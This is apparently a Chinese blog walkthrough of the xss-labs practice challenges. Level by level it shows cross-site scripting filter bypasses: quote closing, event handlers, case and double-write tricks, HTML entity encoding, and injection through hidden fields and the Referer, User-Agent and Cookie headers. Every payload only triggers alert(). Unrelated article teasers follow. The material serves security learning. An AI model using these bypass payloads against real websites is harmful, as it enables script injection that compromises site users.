基于xss-lab的绕过

embedded/2024/12/21 20:14:19/

绕过:闭合

"><script>alert(1)</script><

11.2. 实体化绕过(使用不被实体化的字符构造payload)

使用了htmlspecialchars()函数,实体化一些字符,但默认配置不过滤单引号,构造单引号payload

分析:闭合单引号

闭合后发现 符号实体化

标签为input,使用input的触发事件绕过(闭合单引号之后再进行绕过)

'onmouseover='alert(1)

鼠标滑过输入框,触发事件

11.3. 实体化绕过

<>被过滤为空,双引号没有被过滤

使用双引号构造payload,用触发事件绕过

" onfocus="alert(1)

11.4. 使用其他标签闭合

分析:script被过滤为scr_ipt

"><a href="javascript:alert(1)">test</a>

点击test触发事件绕过

11.5. 大小写绕过

script被过滤,href也被过滤

使用大小写绕过

"><a hRef="javascript:alert(1)">test</a>

11.6. 双写绕过

script被过滤为空

双写绕过

"><scrscriptipt>alert(1)</scrscriptipt><

11.7. Unicode

href标签的payload:<a href="javascript:alert(1)"

都有过滤

使用Unicode编码

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

11.8. Unicode+内容检测绕过

不管输入什么,参数都没有传入,只有输入http之后参数才会传进去

猜测在传入href之前会判断字符串中有没有http://

加入http://

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029;('http://')

(http://)只是为了绕过检测,是一个无效的函数调用,浏览器会忽略它,继续执行 alert(1)

11.9. hidden参数传递数据

源代码中多了这三行内容

有三个输入框,但是type为隐藏了

三个参数分别尝试,只有当传参?t_sort=1时,代码中才会接收到参数值

尝试构造payload

发现会过滤<>

使用事件触发

" onclick="alert('xss');">

并将type改为submit,点击按钮

11.10. Referer参数传递数据

仍然是只有t_sort可以接收到参数

修改type,发现t_ref接收返回值参数(Referer请求头参数)

尝试构造Referer的payload

闭合input标签

" type="text" onkeydown="alert('xss');">

是我们想要的结果,抓包之后再放包,页面出现文本框,触发事件

11.11. Ua参数传递数据

发现代码中变成t_ua,通过User-Agent传递数据

?t_link=1&t_history=2&t_sort=3 看是否能接收数据

依旧只有t_sort能够接收(这里谁接收都无所谓,因为有ua)

我们抓包修改ua头内容,构造payload

" type="text" onkeydown="alert('xss');">

出现文本框,说明构造成功

再抓包修改,放包,点击文本框,按下键盘,触发事件

11.12. Cookie参数传递数据

盲猜Cookie,抓包

果然,cookie中user的值传递给t_cook变量

修改cookie值构造payload

" type="text" onkeydown="alert(1)"

再抓包修改,放包,点击文本框,按下键盘,触发事件

11.13. exif-xss

该关的Loading...网址已经被弃用,无法复现

参考:

【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区

11.14. ng-include

11.15. 空格被过滤(%0a绕过)

?keyword=test

test被写入<center>标签中

尝试闭合

</center><script>alert(1)</script><center>

输入的/、script被过滤为空

双写、大小写都不能绕过,Unicode也不能绕过

script、空格和/时转译成&nbsp

用回车的url编码%0a代替空格

<img%0asrc=x%0aonerror="alert(1)">

center标签不用闭合

11.16. embed标签

embed标签已经被弃用,不复现

level17.php?arg01=a&arg02=%20οnmοuseοver=alert(2)

后几题都是embed标签


http://www.ppmy.cn/embedded/147618.html

相关文章

每天学习一个思维模型 - 损失规避

定义 损失规避&#xff08;Loss aversion&#xff09;&#xff0c;又称损失厌恶&#xff0c;指人们面对同样数量的利益和损失时&#xff0c;认为损失更加令他们难以忍受。损失带来的负效用为收益正效用的2至2.5倍。损失厌恶反映了人们的风险偏好并不是一致的&#xff0c;当涉及…

联邦学习防止数据泄露

文章目录 联邦学习防止数据泄露的原理联邦学习的优势联邦学习与集中式学习的成本分析联邦学习的实际应用案例个人设想参考文献 联邦学习 (Federated Learning) 是一种分布式机器学习技术&#xff0c;旨在解决数据隐私保护问题。它允许在分散的数据源上进行模型训练&#xff0c;…

目标检测任务中根据真实坐标和预测坐标计算IOU

本文记录了在目标检测任务中根据目标的真实坐标和预测坐标计算 iou 交并比指标的代码。 文章目录 一、代码 一、代码 import numpy as np import matplotlib.pyplot as plt import matplotlib.image as mpimgdef calculate_iou(real_label, predicted_label, img_width, img_h…

Docker dockerfile镜像编码 centos7

一、 大多数docker基础镜像使用locale查看编码&#xff0c;发现默认编码都是POSIX&#xff0c;这会导致中文乱码。 解决方法如下: 二、首先使用locale -a查看容器所有语言环境 三、dockerfile中加入以下参数重新生成镜像   ENV LANGen_US.UTF-8   ENV TZAsia/Shanghai  …

react 项目打包二级目 使用BrowserRouter 解决页面刷新404 找不到路由

使用BrowserRouter package 配置 &#xff08;这部分代码可以不做配置也能实现&#xff09; {"homepage": "/admin",}vite.config 配置 export default defineConfig({base: /admin])BrowserRouter 添加配置项 <BrowserRouter basename/admin>&l…

24秋:数据采集-期末复习题:选择填空判断

数据采集技术 - 复习题 题型&#xff1a;单项选择题10道&#xff0c;30分&#xff0c;多项选择题5道&#xff0c;20分&#xff0c;判断题10道&#xff0c;20分&#xff0c;填空题5道&#xff0c;20分&#xff0c;程序题2道&#xff0c;10分。 一&#xff0e;单项选择题 1、传统…

lua dofile 传参数

cat 1.lua arg[1] 111 arg[2] 222 dofile(./2.lua) cat 2.lua print("First argument is: " .. arg[1]) print("Second argument is: " .. arg[2]) 执行 lua 1.lua&#xff0c;结果为&#xff1a; First argument is: 111 Second argument is: 222 l…

14篇--模板匹配

原理 模板匹配就是用模板图&#xff08;通常是一个小图&#xff09;在目标图像&#xff08;通常是一个比模板图大的图片&#xff09;中不断的滑动比较&#xff0c;通过某种比较方法来判断是否匹配成功。 匹配方法 1. 平方差匹配TM_SQDIFF 以模板图与目标图所对应的像素值使用…